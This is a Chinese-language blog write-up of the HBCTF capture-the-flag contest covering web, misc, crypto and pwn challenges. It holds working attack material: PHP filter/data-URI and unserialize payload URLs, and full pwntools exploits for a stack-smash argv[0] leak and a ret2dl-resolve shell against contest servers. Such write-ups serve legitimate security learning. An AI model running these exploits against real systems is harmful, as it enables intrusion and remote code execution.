HBCTF01

这个周末参加了一堆比赛。。。


HBCTF

听说是新手向的游戏,所以决定所有题目都尝试做一下看看:

Web 50

首先进去就能看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14

you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];

if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->

大概就是我们需要设置user,而且user还要是一个文件。于是我们这里的想法就是利用网页的data协议,也就是利用data:text协议让其解析一段文本并且作为内容:

1
http://123.206.66.106/?user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=

此时user就算是作为一个【文件】传输进去了。

然后就没思路了。。。。参考官方wp得知,此时要利用php的特殊协议:php://

php:// — 访问各个输入/输出流(I/O streams)

查到的传输方式为:
php://filter/resource=class.php
然而此时并不能读到字符串。。。后来查到说,都是要先base64处理一下,于是这里写成
http://123.206.66.106/?file=php://filter/convert.base64-encode/resource=class.php&user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=
发现就能够文件数据读到了:

读到的内容base64解密一下得到:

1
2
3
4
5
6
7
8
9
10
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}

这个的意思就是说,这个php文件要设置了$file,但是我已经完全不会玩了。。。
查了以后知道,我们的关键就是找到f1a9.php,然后关键的是,我们需要【让一个Read对象中的file被赋值。】,__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。所以我们利用最后的参数pass,将我们自己实例化的对象先序列化处理,在顺着url传输后,在解析的时候会被解析成实例对象,从而实现file的赋值。

1
2
3
4
5
6
7
8
9
<?php
class Read{
public $file = './f1a9.php';
}
$file = new Read();
print_r(serialize($file));
?>
// 得到的值为
O:4:"Read":1:{s:4:"file";s:10:"./f1a9.php";}

将其作为pass参数的时候,发现用原来的url并不能成功,后来发现是以为我们按照原来的传输方法,会进入到class.php里面,导致我们不能够进入f1ag.php文件中。最后我们把url改成:

1
http://123.206.66.106/?file=class.php&user=data:text/html;base64,dGhlIHVzZXIgaXMgYWRtaW4=&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}

终于过了。。。

flag6.zip(Misc)

这个打开发现zip里面的文件要密码:

但是我们注意到CRC,CRC其实就是把整个文件进行了CRC处理然后作为文件的校验。加上文件的题目,我们知道此事的文件中的内容并不是很长,所以我们可以尝试可以尝试暴力破解得到文件中的内容。

方法二

从网上找了一份zip格式的文件结构:
压缩源文件数据区:

50 4B 03 04:这是头文件标记(0x04034b50)
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
00 00:扩展记录长度
6B65792E7478740BCECC750E71ABCE48CDC9C95728CECC2DC849AD284DAD0500
压缩源文件目录区:
50 4B 01 02:目录中文件文件头标记(0x02014b50)
3F 00:压缩使用的 pkware 版本
14 00:解压文件所需 pkware 版本
00 00:全局方式位标记(有无加密,这个更改这里进行伪加密,改为09 00打开就会提示有密码了)
08 00:压缩方式
5A 7E:最后修改文件时间
F7 46:最后修改文件日期
16 B5 80 14:CRC-32校验(1480B516)
19 00 00 00:压缩后尺寸(25)
17 00 00 00:未压缩尺寸(23)
07 00:文件名长度
24 00:扩展字段长度
00 00:文件注释长度
00 00:磁盘开始号
00 00:内部文件属性
20 00 00 00:外部文件属性
00 00 00 00:局部头部偏移量
6B65792E7478740A00200000000000010018006558F04A1CC5D001BDEBDD3B1CC5D001BDEBDD3B1CC5D001
压缩源文件目录结束标志:
50 4B 05 06:目录结束标记
00 00:当前磁盘编号
00 00:目录区开始磁盘编号
01 00:本磁盘上纪录总数
01 00:目录区中纪录总数
59 00 00 00:目录区尺寸大小
3E 00 00 00:目录区对第一张磁盘的偏移量
00 00:ZIP 文件注释长度

我们用winhex打开看一下:

指定位置果然有个01表示是否加密,我们尝试改成00:

果然是伪加密。。。。。

just do it(Crypto)

一个C++的代码,结果我强行爆破做了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include<iostream>
#include<string>
using namespace std;

void f(string a)
{
// string a;
// 读入字符串
// cin>>a;
// 第一个恒为'H'
a[0]='H';
string key="a7shw9o10e63nfi19dk";
// 字符串 长度
int l=a.length();
char *b = new char[l+1];
// 第一位为'I'
b[0]=a[0]^0x1;
// b[i] = a[i]^b[i-1]
for(int i=1;i<l;i++)
{
char c=a[i]^b[i-1];
b[i]=c;
}
// b[i] = b[i]^b[i+1]^0x53 = b[i]^a[i+1]^b[i]^0x53 = a[i+1]^0x53,换句话说,H并不参与
for(int i=0;i<l-1;i++)
{
char c=b[i]^b[i+1];
c=c^0x53;
b[i]=c;
}
// a 至少18位
for(int i=1;i<=18;i++)
{
key[i]=key[i-1]^key[i]^a[(i-1)%7]^a[(i-1)%9];
}
// b[i] = b[i]^key[i] = a[i+1]^0x53^key[i-1]^key[i](前8个)
// b[8] = a[9]^0x53^key[7]^key[8]^a[0]^a[8]
// b[0] = b[0]^key[0] = a[1]^0x53^'a'
for(int i=0;i<19;i++)
{
b[i]=b[i]^key[i];
}
char e[]={71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105};
for(int i=0;i<l;i++)
{
if(b[i]!=e[i])
{
// cout<<"failed"<<endl;
return;
// return false;
}
if(i == 18)
printf("[!]%c, %c\n", a[i], a[i+1]);
//system("pause");
// return true;
}
cout<<"successful"<<endl;
for(int i=0;i<l;i+=2)
{
if(a[i]>=65&&a[i]<=90)
a[i]+=32;
if(a[i+1]>=97&&a[i+1]<=122)
a[i+1]-=32;
}
cout<<"flag is: hbctf{"<<a<<"}"<<endl;
}
int main()
{
for (char i = ' '; i < 127; i++) {
//u
string A = string("Huan-y1n5-cAn5-5a1!");
f(A);
}

}

后来仔细观察,发现自己的算法都看懂一半了为啥要爆破。。。。
解释一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
// a:输入字符串 b:空字符串 b[0] = a[0]^0x1
for(int i=1;i<l;i++)
{
char c=a[i]^b[i-1];
b[i]=c;
}
// b[i] = b[i]^b[i+1]^0x53 = b[i]^a[i+1]^b[i]^0x53 = a[i+1]^0x53,换句话说,H并不参与
for(int i=0;i<l-1;i++)
{
char c=b[i]^b[i+1];
c=c^0x53;
b[i]=c;
}

首先我们观察上面的算法:
b[i] = a[i]^b[i - 1]
b当前的字符只于上一个字符有关系,然后加上后面的那段:
b[i] = b[i] ^ b[i + 1] ^ 0x53
这里我们b[i + 1]不和b[i]相关,所以我们可以写出递推式:
b[i] = b[i] ^ a[i + 1] ^ b[i] ^0x53 = a[i + 1] ^ 0x53
相当于b[i] 只与a[i + 1]相关
然后后面的算法:

1
2
3
4
5
6
7
8
9
10
11
// a 至少18位
for(int i=1;i<=18;i++)
{
key[i]=key[i-1]^key[i]^a[(i-1)%7]^a[(i-1)%9];
}
// b[0] = b[0]^key[0] = a[1]^0x53^'a'
for(int i=0;i<19;i++)
{
b[i]=b[i]^key[i];
}
char e[]={71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105};

虽然看着麻烦,但是注意到,这个key它本身就是个固定的值,在前7个数据中自己和自己异或,完全和a无关,而从第8个开始,之和前9个a相关,然而此时的a[7]以后的值早就算出来了,所以此时就完全不影响后续。。。然后我们知道通过e和b的异或,就能够把此时的a求出来.这里贴一段大佬的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# -*- coding:utf8 -*-
def foo():
a=[0]*19
key="a7shw9o10e63nfi19dk"
k=[ord(i) for i in key]
e=[71,100,24,51,16,97,81,59,53,94,99,100,29,116,25,77,96,27,105]
a[0]=ord('H')
for i in range(len(e)-1):
k[i+1]^=k[i]^a[i%7]^a[i%9]
a[i+1]=0x53^e[i]^k[i]
print ''.join([chr(i) for i in a])
pass
if __name__ == '__main__':
foo()
print 'ok'

whatiscanary(pwn 100)

这一题完全是自己做出来的。。找到函数的描述,发现一开始就把flag读到了一个全局变量里面:

然后再下面的函数中找到了如图所示的漏洞:

于是思路变为绕过cananry。
绕了半天都绕不过去啊。。。然后发现,当让这个___stack_chk_fail触发的时候,会产生字符串:

1
*** stack smashing detected ***: ./whatiscanary terminated 

这个函数的名字肯定是我们argv[0]里面的参数,所以这里我们不用绕过canary,而是通过覆盖我们argv的第一个参数的位置,从而将这段内容里面的./whatiscanary的字符串变量地址覆盖成flag的地址即可。

1
2
3
4
5
函数名字所在的栈的地址为:
0xbfaab8d4

函数输入的地址为:
0xbfaab7ec

所以需要的字符串长度为:232个字符
在这之后将其覆盖成全局变量的地址即可。

难得成功了一回。。。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

DEBUG = 0
if DEBUG:
ph = process("./whatiscanary")
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
# gdb.attach(ph, "break *0x080487DA")
gdb.attach(ph)

else:
ph = remote("123.206.81.66", 7777)


length = 232
def sendMsg():
msg = ph.recvuntil("input your name(length < 10):")
print(msg)

ph.send("a" *9 +"\x00" + "\x80"*(length - 10)+p32(0x0804A0A0) + "\n")
print(ph.recv(1024))

if __name__ == "__main__":
sendMsg()
ph.interactive()

pwn200 infoless

这种题目已经不是第一次见了,这种涉及到.plt的花式操作之前只知道修改.plt然后通过libc.so.6来对比查找,然而这个题目并没有相关的数据泄露。。。难道要开始leak了?这个题目知道最后放了wp,学习了一波无需libc进行system调用的一种花式操作 – ret2dl-resolve

逻辑很简单,就是一个read函数的溢出

然而这个文件实在是太简单了,只有一点可以用的函数:

导致我们完全没有什么利用的思路啊。。。连泄露地址的write都没有。。所以最后完全不会做,学习了一波ret2dl-resolve
然后我们这里就利用将伪造的dynstr写入.bss,然后替换掉对应的.dynstr的方法。
我们这里的思路是将fflush替换掉

然后/bin/sh传入,从而起到利用的作用。
代码参考了hook大佬:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#   -*- coding:utf-8 -*-

from pwn import *

DEBUG = 0
if DEBUG:
ph = process("./infoless")
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
gdb.attach(ph, "break *0x080484E1")

else:
ph = remote("123.206.81.66",8888)

bssAddr = 0x08049820
dynstrAddr = p32(0x08049750)
tableDyn = ["","libc.so.6","_IO_stdin_used","fflush","stdin","read","stdout","stderr","setvbuf","libc_start_main","gmon_start","GLIBC_2.0"]
# change fflush to system
tableDyn[3] = "system"
vulnerableAddr = p32(0x080484CB)
padding = 'a'*22
readAddr = p32(0x08048380)
fflushAddr = p32(0x08048390)

def writeTable(address):
for each in tableDyn:
ph.send(padding + readAddr + vulnerableAddr + p32(0) + p32(address)+p32(len(each)+1)+ 'a'*18)
sleep(0.1)
ph.send(each+'\x00')
sleep(0.1)
address += (len(each) + 1)

def pwn():
# first , send msg to
# ph.send(padding + readAddr + vulnerableAddr + p32(0) + p32(bssAddr) + p32(8)+'\x00')
ph.send(padding + readAddr + vulnerableAddr + p32(0) + p32(bssAddr) + p32(8)+'a'*18)
sleep(1)
ph.send("/bin/sh\0");
# second, try to write a fake dynstr table
tempBssAddr = bssAddr + 8
# finally, try to write table to dynstr place
ph.send(padding + readAddr + vulnerableAddr + p32(0) + dynstrAddr + p32(4)+ 'a'*18)
ph.send(p32(tempBssAddr))

# try to use fflush

ph.send(padding + fflushAddr + vulnerableAddr + p32(bssAddr)+ 'a'*26)


if __name__ == "__main__":
pwn()
ph.interactive()

参考博客:
http://blog.xmsec.cc/blog/2016/06/27/ZIP%E4%BC%AA%E5%8A%A0%E5%AF%86/
http://www.moonsos.com/post/256.html